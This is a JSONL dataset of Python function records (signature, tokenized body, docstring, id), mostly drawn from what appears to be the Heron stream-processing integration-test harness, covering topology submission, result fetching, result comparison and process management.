{"signature": "def CheckCompletedBlocks(self, filename, error):", "body": "<EOL>for obj in self.stack:<EOL><INDENT>if isinstance(obj, _ClassInfo):<EOL><INDENT>error(filename, obj.starting_linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' %<EOL>obj.name)<EOL><DEDENT>elif isinstance(obj, _NamespaceInfo):<EOL><INDENT>error(filename, obj.starting_linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' %<EOL>obj.name)<EOL><DEDENT><DEDENT>", "docstring": "Checks that all classes and namespaces have been completely parsed.\n\n        Call this when all lines in a file have been processed.\n        Args:\n          filename: The name of the current file.\n          error: The function to call with any errors found.", "id": "f7245:c11:m10"}
{"signature": "def parse(version):", "body": "match = _REGEX.match(version)<EOL>if match is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % version)<EOL><DEDENT>verinfo = match.groupdict()<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>return verinfo<EOL>", "docstring": "Parse version to major, minor, patch, pre-release, build parts.", "id": "f7248:m0"}
{"signature": "def submit_topology(heron_cli_path, cli_config_path, cluster, role,<EOL>env, jar_path, classpath, pkg_uri, args=None):", "body": "cmd = \"<STR_LIT>\" %(heron_cli_path, cli_config_path, cluster_token(cluster, role, env),<EOL>jar_path, classpath, args)<EOL>if pkg_uri is not None:<EOL><INDENT>cmd = \"<STR_LIT>\" %(cmd, pkg_uri)<EOL><DEDENT>logging.info(\"<STR_LIT>\", cmd)<EOL>if os.system(cmd) != <NUM_LIT:0>:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Submit topology using heron-cli", "id": "f7273:m2"}
{"signature": "def kill_topology(heron_cli_path, cli_config_path, cluster, role, env, topology_name):", "body": "cmd = \"<STR_LIT>\" %(heron_cli_path, cli_config_path, cluster_token(cluster, role, env), topology_name)<EOL>logging.info(\"<STR_LIT>\", cmd)<EOL>if os.system(cmd) != <NUM_LIT:0>:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\" % topology_name)<EOL><DEDENT>logging.info(\"<STR_LIT>\", topology_name)<EOL>", "docstring": "Kill a topology using heron-cli", "id": "f7273:m6"}
{"signature": "def main():", "body": "log.configure(level=logging.DEBUG)<EOL>conf_file = DEFAULT_TEST_CONF_FILE<EOL>conf_string = pkgutil.get_data(__name__, conf_file)<EOL>decoder = json.JSONDecoder(strict=False)<EOL>conf = decoder.decode(conf_string)<EOL>parser = argparse.ArgumentParser(description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>',<EOL>default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default='<STR_LIT:localhost>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', type=int,<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>',<EOL>default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=<NUM_LIT:1>)<EOL>args, unknown_args = parser.parse_known_args()<EOL>if unknown_args:<EOL><INDENT>logging.error('<STR_LIT>', sys.argv[<NUM_LIT:0>], unknown_args[<NUM_LIT:0>])<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>tests_start_time = int(time.time())<EOL>run_topology_tests(conf, args)<EOL>total = len(failures) + len(successes)<EOL>logging.info(\"<STR_LIT>\" % (int(time.time()) - tests_start_time))<EOL>if not failures:<EOL><INDENT>logging.info(\"<STR_LIT>\", len(successes))<EOL>for test in successes:<EOL><INDENT>logging.info(\"<STR_LIT>\", (\"<STR_LIT>\" % test[<NUM_LIT:1>]).ljust(<NUM_LIT:8>), test[<NUM_LIT:0>])<EOL><DEDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>logging.error(\"<STR_LIT>\", len(failures), total)<EOL>for test in failures:<EOL><INDENT>logging.error(\"<STR_LIT>\", (\"<STR_LIT>\" % test[<NUM_LIT:1>]).ljust(<NUM_LIT:8>), test[<NUM_LIT:0>])<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "main", "id": "f7273:m10"}
{"signature": "def check_results(self):", "body": "expected_result = self.topology_structure_expected_results_handler.fetch_results()<EOL>actual_result = self.topology_structure_actual_results_handler.fetch_cur_pplan()<EOL>self.topology_structure_actual_results_handler.stop_state_mgr()<EOL>decoder = json.JSONDecoder(strict=False)<EOL>expected_results = decoder.decode(expected_result)<EOL>return self._compare(expected_results, actual_result)<EOL>", "docstring": "Checks the topology graph structure from zk with the expected results from local file", "id": "f7273:c0:m1"}
{"signature": "def _compare(self, expected_results, actual_results):", "body": "expected_nodes, expected_links = self._parse_expected_results(expected_results)<EOL>actual_nodes, actual_links = self._parse_actual_results(actual_results)<EOL>correct_topology = True<EOL>if correct_topology:<EOL><INDENT>for key_expected in expected_nodes:<EOL><INDENT>if key_expected not in actual_nodes:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT>if expected_nodes[key_expected] != actual_nodes[key_expected]:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if correct_topology:<EOL><INDENT>for key_actual in actual_nodes:<EOL><INDENT>if key_actual not in expected_nodes:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT>if expected_nodes[key_actual] != actual_nodes[key_actual]:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if correct_topology:<EOL><INDENT>for key_expected in expected_links:<EOL><INDENT>if key_expected not in actual_links:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT>if expected_links[key_expected] != actual_links[key_expected]:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if correct_topology:<EOL><INDENT>for key_actual in actual_links:<EOL><INDENT>if key_actual not in expected_links:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT>if expected_links[key_actual] != actual_links[key_actual]:<EOL><INDENT>correct_topology = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if correct_topology:<EOL><INDENT>return status.TestSuccess(<EOL>\"<STR_LIT>\" % self.topology_name)<EOL><DEDENT>else:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "check if the topology structure is correct", "id": "f7273:c0:m2"}
{"signature": "def _parse_expected_results(self, expected_results):", "body": "expected_nodes = dict()<EOL>expected_links = dict()<EOL>for bolt in expected_results[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>name = bolt[\"<STR_LIT>\"][\"<STR_LIT:name>\"]<EOL>if name not in expected_links:<EOL><INDENT>expected_links[name] = set()<EOL><DEDENT>for input in bolt[\"<STR_LIT>\"]:<EOL><INDENT>expected_links[name].add(input[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>for instance in expected_results[\"<STR_LIT>\"]:<EOL><INDENT>name = instance[\"<STR_LIT:info>\"][\"<STR_LIT>\"]<EOL>if name not in expected_nodes:<EOL><INDENT>expected_nodes[name] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>expected_nodes[name] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return  expected_nodes, expected_links<EOL>", "docstring": "Parse JSON file and generate expected_nodes and expected_links", "id": "f7273:c0:m3"}
{"signature": "def _parse_actual_results(self, actual_results):", "body": "actual_nodes = dict()<EOL>actual_links = dict()<EOL>for bolt in actual_results.topology.bolts:<EOL><INDENT>name = bolt.comp.name<EOL>if name not in actual_links:<EOL><INDENT>actual_links[name] = set()<EOL><DEDENT>for input in bolt.inputs:<EOL><INDENT>actual_links[name].add(input.stream.component_name)<EOL><DEDENT><DEDENT>for instance in actual_results.instances:<EOL><INDENT>name = instance.info.component_name<EOL>if name not in actual_nodes:<EOL><INDENT>actual_nodes[name] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>actual_nodes[name] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return actual_nodes, actual_links<EOL>", "docstring": "Parse protobuf messege and generate actual_nodes and actual_links", "id": "f7273:c0:m4"}
{"signature": "def fetch_results(self):", "body": "try:<EOL><INDENT>if not os.path.exists(self.file_path):<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\" % self.file_path)<EOL><DEDENT>else:<EOL><INDENT>with open(self.file_path, \"<STR_LIT:r>\") as expected_result_file:<EOL><INDENT>return expected_result_file.read().rstrip()<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\" % self.file_path, e)<EOL><DEDENT>", "docstring": "Read expected result from the expected result file", "id": "f7273:c2:m1"}
{"signature": "def fetch_from_server(self, server_host_port, topology_name, data_name, path):", "body": "for i in range(<NUM_LIT:0>, RETRY_ATTEMPTS):<EOL><INDENT>logging.info(\"<STR_LIT>\", data_name, topology_name, i)<EOL>response = self.get_http_response(server_host_port, path)<EOL>if response.status == <NUM_LIT:200>:<EOL><INDENT>return response.read()<EOL><DEDENT>elif i != RETRY_ATTEMPTS:<EOL><INDENT>logging.info(\"<STR_LIT>\",<EOL>data_name, response.status, response.reason, response.read())<EOL>time.sleep(RETRY_INTERVAL)<EOL><DEDENT><DEDENT>raise status.TestFailure(\"<STR_LIT>\" % (data_name, RETRY_ATTEMPTS))<EOL>", "docstring": "Make a http get request to fetch actual results from http server", "id": "f7273:c4:m2"}
{"signature": "def get_http_response(self, server_host_port, path):", "body": "for _ in range(<NUM_LIT:0>, RETRY_ATTEMPTS):<EOL><INDENT>try:<EOL><INDENT>connection = HTTPConnection(server_host_port)<EOL>connection.request('<STR_LIT:GET>', path)<EOL>response = connection.getresponse()<EOL>return response<EOL><DEDENT>except Exception:<EOL><INDENT>time.sleep(RETRY_INTERVAL)<EOL>continue<EOL><DEDENT><DEDENT>raise status.TestFailure(\"<STR_LIT>\" % RETRY_ATTEMPTS)<EOL>", "docstring": "get HTTP response", "id": "f7273:c4:m3"}
{"signature": "def fetch_from_server(server_host_port, topology_name, data_name, path):", "body": "for i in range(<NUM_LIT:0>, RETRY_ATTEMPTS):<EOL><INDENT>logging.info(\"<STR_LIT>\", data_name, topology_name, i)<EOL>response = get_http_response(server_host_port, path)<EOL>if response.status == <NUM_LIT:200>:<EOL><INDENT>return response.read()<EOL><DEDENT>elif i != RETRY_ATTEMPTS:<EOL><INDENT>logging.info(\"<STR_LIT>\",<EOL>data_name, response.status, response.reason, response.read())<EOL>time.sleep(RETRY_INTERVAL)<EOL><DEDENT><DEDENT>raise status.TestFailure(\"<STR_LIT>\" % (data_name, RETRY_ATTEMPTS))<EOL>", "docstring": "Make a http get request to fetch actual results from http server", "id": "f7274:m4"}
{"signature": "def get_http_response(server_host_port, path):", "body": "for _ in range(<NUM_LIT:0>, RETRY_ATTEMPTS):<EOL><INDENT>try:<EOL><INDENT>connection = HTTPConnection(server_host_port)<EOL>connection.request('<STR_LIT:GET>', path)<EOL>response = connection.getresponse()<EOL>return response<EOL><DEDENT>except Exception:<EOL><INDENT>time.sleep(RETRY_INTERVAL)<EOL>continue<EOL><DEDENT><DEDENT>raise status.TestFailure(\"<STR_LIT>\" % RETRY_ATTEMPTS)<EOL>", "docstring": "get HTTP response", "id": "f7274:m5"}
{"signature": "def submit_topology(heron_cli_path, cli_config_path, cluster, role,<EOL>env, jar_path, classpath, pkg_uri, args=None):", "body": "<EOL>cmd = \"<STR_LIT>\" %(heron_cli_path, cli_config_path, cluster_token(cluster, role, env),<EOL>jar_path, classpath, args)<EOL>if pkg_uri is not None:<EOL><INDENT>cmd = \"<STR_LIT>\" %(cmd, pkg_uri)<EOL><DEDENT>logging.info(\"<STR_LIT>\", cmd)<EOL>if os.system(cmd) != <NUM_LIT:0>:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Submit topology using heron-cli", "id": "f7274:m7"}
{"signature": "def kill_topology(heron_cli_path, cli_config_path, cluster, role, env, topology_name):", "body": "cmd = \"<STR_LIT>\" %(heron_cli_path, cli_config_path, cluster_token(cluster, role, env), topology_name)<EOL>logging.info(\"<STR_LIT>\", cmd)<EOL>if os.system(cmd) != <NUM_LIT:0>:<EOL><INDENT>raise status.TestFailure(\"<STR_LIT>\" % topology_name)<EOL><DEDENT>logging.info(\"<STR_LIT>\", topology_name)<EOL>", "docstring": "Kill a topology using heron-cli", "id": "f7274:m8"}
{"signature": "def main():", "body": "log.configure(level=logging.DEBUG)<EOL>conf_file = DEFAULT_TEST_CONF_FILE<EOL>conf_string = pkgutil.get_data(__name__, conf_file)<EOL>decoder = json.JSONDecoder(strict=False)<EOL>conf = decoder.decode(conf_string)<EOL>parser = argparse.ArgumentParser(description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>',<EOL>default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', type=int,<EOL>default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=None)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>',<EOL>default=conf['<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>', default=<NUM_LIT:1>)<EOL>args, unknown_args = parser.parse_known_args()<EOL>if unknown_args:<EOL><INDENT>logging.error('<STR_LIT>', sys.argv[<NUM_LIT:0>], unknown_args[<NUM_LIT:0>])<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>tests_start_time = int(time.time())<EOL>run_tests(conf, args)<EOL>total = len(failures) + len(successes)<EOL>logging.info(\"<STR_LIT>\" % (int(time.time()) - tests_start_time))<EOL>if not failures:<EOL><INDENT>logging.info(\"<STR_LIT>\", len(successes))<EOL>for test in successes:<EOL><INDENT>logging.info(\"<STR_LIT>\", (\"<STR_LIT>\" % test[<NUM_LIT:1>]).ljust(<NUM_LIT:8>), test[<NUM_LIT:0>])<EOL><DEDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>logging.error(\"<STR_LIT>\", len(failures), total)<EOL>for test in failures:<EOL><INDENT>logging.error(\"<STR_LIT>\", (\"<STR_LIT>\" % test[<NUM_LIT:1>]).ljust(<NUM_LIT:8>), test[<NUM_LIT:0>])<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "main", "id": "f7274:m14"}
{"signature": "def check_results(self):", "body": "actual_result = self.actual_results_handler.fetch_results()<EOL>expected_result = self.expected_results_handler.fetch_results()<EOL>decoder = json.JSONDecoder(strict=False)<EOL>actual_results = sorted(decoder.decode(actual_result))<EOL>expected_results = sorted(decoder.decode(expected_result))<EOL>return self._compare(expected_results, actual_results)<EOL>", "docstring": "Checks the topology results from the server with the expected results from the file", "id": "f7274:c3:m1"}
{"signature": "def main():", "body": "log.configure(level=logging.DEBUG)<EOL>conf_file = DEFAULT_TEST_CONF_FILE<EOL>conf_string = pkgutil.get_data(__name__, conf_file)<EOL>decoder = json.JSONDecoder(strict=False)<EOL>conf = decoder.decode(conf_string)<EOL>args = dict()<EOL>home_directory = os.path.expanduser(\"<STR_LIT>\")<EOL>args['<STR_LIT>'] = conf['<STR_LIT>']<EOL>args['<STR_LIT>'] = conf['<STR_LIT>']['<STR_LIT>']<EOL>args['<STR_LIT>'] = conf['<STR_LIT>']['<STR_LIT>']<EOL>args['<STR_LIT>'] = os.path.join(<EOL>home_directory,<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>conf['<STR_LIT>'],<EOL>getpass.getuser(),<EOL>args['<STR_LIT>']<EOL>)<EOL>args['<STR_LIT>'] = os.path.expanduser(conf['<STR_LIT>'])<EOL>args['<STR_LIT>'] = os.path.expanduser(conf['<STR_LIT>'])<EOL>args['<STR_LIT>'] = _random_port()<EOL>args['<STR_LIT>'] = os.path.join(args['<STR_LIT>'], conf['<STR_LIT>']['<STR_LIT>'])<EOL>args['<STR_LIT>'] = os.path.join(args['<STR_LIT>'], conf['<STR_LIT>']['<STR_LIT>'])<EOL>args['<STR_LIT>'] = conf['<STR_LIT>']<EOL>test_classes = TEST_CLASSES<EOL>if len(sys.argv) > <NUM_LIT:1>:<EOL><INDENT>first_arg = sys.argv[<NUM_LIT:1>]<EOL>class_tokens = first_arg.split(\"<STR_LIT:.>\")<EOL>if first_arg == \"<STR_LIT>\" or len(class_tokens) < <NUM_LIT:2>:<EOL><INDENT>usage()<EOL><DEDENT>import importlib<EOL>package_tokens = class_tokens[:-<NUM_LIT:1>]<EOL>test_class = class_tokens[-<NUM_LIT:1>]<EOL>if len(package_tokens) == <NUM_LIT:1>: <EOL><INDENT>test_module = \"<STR_LIT>\" + package_tokens[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>test_module = '<STR_LIT:.>'.join(package_tokens)<EOL><DEDENT>logging.info(\"<STR_LIT>\", test_module)<EOL>logging.info(\"<STR_LIT>\", test_class)<EOL>test_classes = [getattr(importlib.import_module(test_module), test_class)]<EOL><DEDENT>start_time = time.time()<EOL>(successes, failures) = run_tests(test_classes, args)<EOL>elapsed_time = time.time() - start_time<EOL>total = len(failures) + len(successes)<EOL>if not failures:<EOL><INDENT>logging.info(\"<STR_LIT>\", len(successes))<EOL>logging.info(\"<STR_LIT>\", elapsed_time)<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>logging.error(\"<STR_LIT>\", len(failures), total)<EOL>for test in failures:<EOL><INDENT>logging.error(\"<STR_LIT>\", test)<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "main", "id": "f7278:m3"}
{"signature": "def _get_processes():", "body": "<EOL>processes = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>processes = processes.split('<STR_LIT:\\n>')<EOL>processes = processes[<NUM_LIT:1>:] <EOL>process_list = []<EOL>for process in processes:<EOL><INDENT>if process == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>pretuple = process.split('<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL>process_list.append(ProcessTuple(pretuple[<NUM_LIT:0>], pretuple[<NUM_LIT:1>]))<EOL><DEDENT>return process_list<EOL>", "docstring": "returns a list of process tuples (pid, cmd)\nThis only applies only for local scheduler as it uses the ps command\nand assumes the topology will be running on different processes on same machine", "id": "f7281:m3"}
{"signature": "def _processes_exists(process_list, process_cmd, min_processes):", "body": "proccess_count = <NUM_LIT:0><EOL>for process in process_list:<EOL><INDENT>if process_cmd in process.cmd:<EOL><INDENT>proccess_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>return proccess_count >= min_processes<EOL>", "docstring": "check if a process is running", "id": "f7281:m5"}
{"signature": "def _check_results(self):", "body": "expected_result = \"<STR_LIT>\"<EOL>actual_result = \"<STR_LIT>\"<EOL>retries_left = RETRY_COUNT<EOL>_sleep(\"<STR_LIT>\" % self.testname, RETRY_INTERVAL)<EOL>while retries_left > <NUM_LIT:0>:<EOL><INDENT>retries_left -= <NUM_LIT:1><EOL>try:<EOL><INDENT>with open(self.params['<STR_LIT>'], '<STR_LIT:r>') as f:<EOL><INDENT>expected_result = f.read()<EOL><DEDENT>with open(self.params['<STR_LIT>'], '<STR_LIT:r>') as g:<EOL><INDENT>actual_result = g.read()<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>message =\"<STR_LIT>\" % self.testname<EOL>if retries_left == <NUM_LIT:0>:<EOL><INDENT>raise status.TestFailure(message, e)<EOL><DEDENT>logging.error(message, e)<EOL><DEDENT>expected_sorted = sorted(expected_result.split('<STR_LIT:\\n>'))<EOL>actual_sorted = sorted(actual_result.split('<STR_LIT:\\n>'))<EOL>if expected_sorted == actual_sorted:<EOL><INDENT>break<EOL><DEDENT>if retries_left > <NUM_LIT:0>:<EOL><INDENT>expected_result = \"<STR_LIT>\"<EOL>actual_result = \"<STR_LIT>\"<EOL>expected_sorted = []<EOL>actual_sorted = []<EOL>logging.info(\"<STR_LIT>\"+ \"<STR_LIT>\",<EOL>self.testname, RETRY_COUNT - retries_left, RETRY_COUNT, RETRY_INTERVAL)<EOL>time.sleep(RETRY_INTERVAL)<EOL><DEDENT><DEDENT>if actual_sorted == expected_sorted:<EOL><INDENT>success = status.TestSuccess(<EOL>\"<STR_LIT>\" % self.testname)<EOL>logging.info(\"<STR_LIT>\", actual_sorted)<EOL>logging.info(\"<STR_LIT>\", expected_sorted)<EOL>return success<EOL><DEDENT>else:<EOL><INDENT>failure = status.TestFailure(<EOL>\"<STR_LIT>\" % self.testname)<EOL>logging.info(\"<STR_LIT>\", actual_sorted)<EOL>logging.info(\"<STR_LIT>\", expected_sorted)<EOL>raise failure<EOL><DEDENT>", "docstring": "get actual and expected result.\n        retry if results are not equal a predesignated amount of times", "id": "f7281:c0:m11"}
{"signature": "def get_pid(self, process_name, heron_working_directory):", "body": "process_pid_file = os.path.join(heron_working_directory, process_name + '<STR_LIT>')<EOL>try:<EOL><INDENT>with open(process_pid_file, '<STR_LIT:r>') as f:<EOL><INDENT>pid = f.readline()<EOL>return pid<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>logging.error(\"<STR_LIT>\", process_pid_file)<EOL>return -<NUM_LIT:1><EOL><DEDENT>", "docstring": "opens .pid file of process and reads the first and only line, which should be the process pid\nif fail, return -1", "id": "f7281:c0:m12"}
{"signature": "def kill_process(self, process_number):", "body": "if process_number < <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\" % process_number)<EOL><DEDENT>logging.info(\"<STR_LIT>\", process_number)<EOL>try:<EOL><INDENT>os.kill(int(process_number), signal.SIGTERM)<EOL><DEDENT>except OSError as ex:<EOL><INDENT>if \"<STR_LIT>\" in str(ex): <EOL><INDENT>logging.info(str(ex))<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % process_number)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % process_number)<EOL><DEDENT>logging.info(\"<STR_LIT>\", process_number)<EOL>", "docstring": "kills process by running unix command kill", "id": "f7281:c0:m13"}
{"signature": "def emit(self, tup, tup_id=None, stream=Stream.DEFAULT_STREAM_ID,<EOL>direct_task=None, need_task_ids=None):", "body": "<EOL>self.tuples_to_complete += <NUM_LIT:1><EOL>if tup_id is None:<EOL><INDENT>Log.info(\"<STR_LIT>\" % str(tup))<EOL>_tup_id = integ_const.INTEGRATION_TEST_MOCK_MESSAGE_ID<EOL><DEDENT>else:<EOL><INDENT>_tup_id = tup_id<EOL><DEDENT>super(IntegrationTestSpout, self).emit(tup, _tup_id, stream, direct_task, need_task_ids)<EOL>", "docstring": "Emits from this integration test spout\n\n        Overriden method which will be called when user's spout calls emit()", "id": "f7289:c0:m7"}
{"signature": "def add_spout(self, name, spout_cls, par, config=None,<EOL>optional_outputs=None, max_executions=None):", "body": "user_spec = spout_cls.spec(name)<EOL>spout_classpath = user_spec.python_class_path<EOL>if hasattr(spout_cls, '<STR_LIT>'):<EOL><INDENT>user_outputs = spout_cls.outputs<EOL><DEDENT>else:<EOL><INDENT>user_outputs = []<EOL><DEDENT>if optional_outputs is not None:<EOL><INDENT>user_outputs.extend(optional_outputs)<EOL><DEDENT>if config is None:<EOL><INDENT>_config = {}<EOL><DEDENT>else:<EOL><INDENT>_config = copy.copy(config)<EOL><DEDENT>if max_executions is not None:<EOL><INDENT>_config[integ_const.USER_MAX_EXECUTIONS] = max_executions<EOL><DEDENT>test_spec = IntegrationTestSpout.spec(name, par, _config,<EOL>user_spout_classpath=spout_classpath,<EOL>user_output_fields=user_outputs)<EOL>self.add_spec(test_spec)<EOL>self.spouts[name] = test_spec<EOL>return test_spec<EOL>", "docstring": "Add an integration_test spout", "id": "f7292:c0:m1"}
{"signature": "def add_bolt(self, name, bolt_cls, par, inputs, config=None, optional_outputs=None):", "body": "assert isinstance(inputs, dict)<EOL>user_spec = bolt_cls.spec(name)<EOL>bolt_classpath = user_spec.python_class_path<EOL>if hasattr(bolt_cls, '<STR_LIT>'):<EOL><INDENT>user_outputs = bolt_cls.outputs<EOL><DEDENT>else:<EOL><INDENT>user_outputs = []<EOL><DEDENT>if optional_outputs is not None:<EOL><INDENT>user_outputs.extend(optional_outputs)<EOL><DEDENT>if config is None:<EOL><INDENT>_config = {}<EOL><DEDENT>else:<EOL><INDENT>_config = config<EOL><DEDENT>test_spec = IntegrationTestBolt.spec(name, par, inputs, _config,<EOL>user_bolt_classpath=bolt_classpath,<EOL>user_output_fields=user_outputs)<EOL>self.add_spec(test_spec)<EOL>self.bolts[name] = test_spec<EOL>return test_spec<EOL>", "docstring": "Add an integration_test bolt\n\n        Only dict based inputs is supported", "id": "f7292:c0:m2"}
{"signature": "def create_topology(self):", "body": "<EOL>aggregator_config = {integ_const.HTTP_POST_URL_KEY: self.output_location}<EOL>self.add_bolt(self.TERMINAL_BOLT_NAME, self.TERMINAL_BOLT_CLASS, <NUM_LIT:1>,<EOL>inputs={}, config=aggregator_config)<EOL>for name, bolt_spec in self.bolts.iteritems():<EOL><INDENT>if name == self.TERMINAL_BOLT_NAME:<EOL><INDENT>continue<EOL><DEDENT>bolt_protobuf = bolt_spec.get_protobuf()<EOL>for istream in bolt_protobuf.inputs:<EOL><INDENT>parent = istream.stream.component_name<EOL>if name in self.prev:<EOL><INDENT>self.prev[name].add(parent)<EOL><DEDENT>else:<EOL><INDENT>parents = set()<EOL>parents.add(parent)<EOL>self.prev[name] = parents<EOL><DEDENT><DEDENT><DEDENT>terminals = set()<EOL>non_terminals = set()<EOL>for parent_set in self.prev.values():<EOL><INDENT>non_terminals.update(parent_set)<EOL><DEDENT>for bolt_name in self.prev.keys():<EOL><INDENT>if bolt_name not in non_terminals:<EOL><INDENT>terminals.add(bolt_name)<EOL><DEDENT><DEDENT>for spout_name in self.spouts.keys():<EOL><INDENT>if spout_name not in non_terminals:<EOL><INDENT>terminals.add(spout_name)<EOL><DEDENT><DEDENT>for child in self.prev.keys():<EOL><INDENT>for parent in self.prev[child]:<EOL><INDENT>self._add_all_grouping(child, parent, integ_const.INTEGRATION_TEST_CONTROL_STREAM_ID)<EOL><DEDENT><DEDENT>for terminal in terminals:<EOL><INDENT>if terminal in self.bolts:<EOL><INDENT>terminal_outputs = self.bolts[terminal].outputs<EOL><DEDENT>else:<EOL><INDENT>terminal_outputs = self.spouts[terminal].outputs<EOL><DEDENT>stream_ids = [\"<STR_LIT:default>\" if isinstance(out, str) else out.stream_id<EOL>for out in terminal_outputs]<EOL>for stream_id in set(stream_ids):<EOL><INDENT>self._add_all_grouping(self.TERMINAL_BOLT_NAME, terminal, stream_id)<EOL><DEDENT><DEDENT>class_dict = self._construct_topo_class_dict()<EOL>return TopologyType(self.topology_name, (Topology,), class_dict)<EOL>", "docstring": "Creates an integration_test topology class", "id": "f7292:c0:m3"}
{"signature": "def _add_all_grouping(self, child, parent, stream_id):", "body": "<EOL>child_component_spec = self.bolts[child]<EOL>child_inputs = child_component_spec.inputs<EOL>if parent in self.bolts:<EOL><INDENT>parent_component_spec = self.bolts[parent]<EOL><DEDENT>else:<EOL><INDENT>parent_component_spec = self.spouts[parent]<EOL><DEDENT>if stream_id == Stream.DEFAULT_STREAM_ID:<EOL><INDENT>child_inputs[parent_component_spec] = Grouping.ALL<EOL><DEDENT>else:<EOL><INDENT>child_inputs[parent_component_spec[stream_id]] = Grouping.ALL<EOL><DEDENT>", "docstring": "Adds all grouping between child component and parent component with a given stream id\n\n        :type child: str\n        :param child: child's component name\n        :type parent: str\n        :param parent: parent's component name\n        :type stream_id: str\n        :param stream_id: stream id", "id": "f7292:c0:m4"}
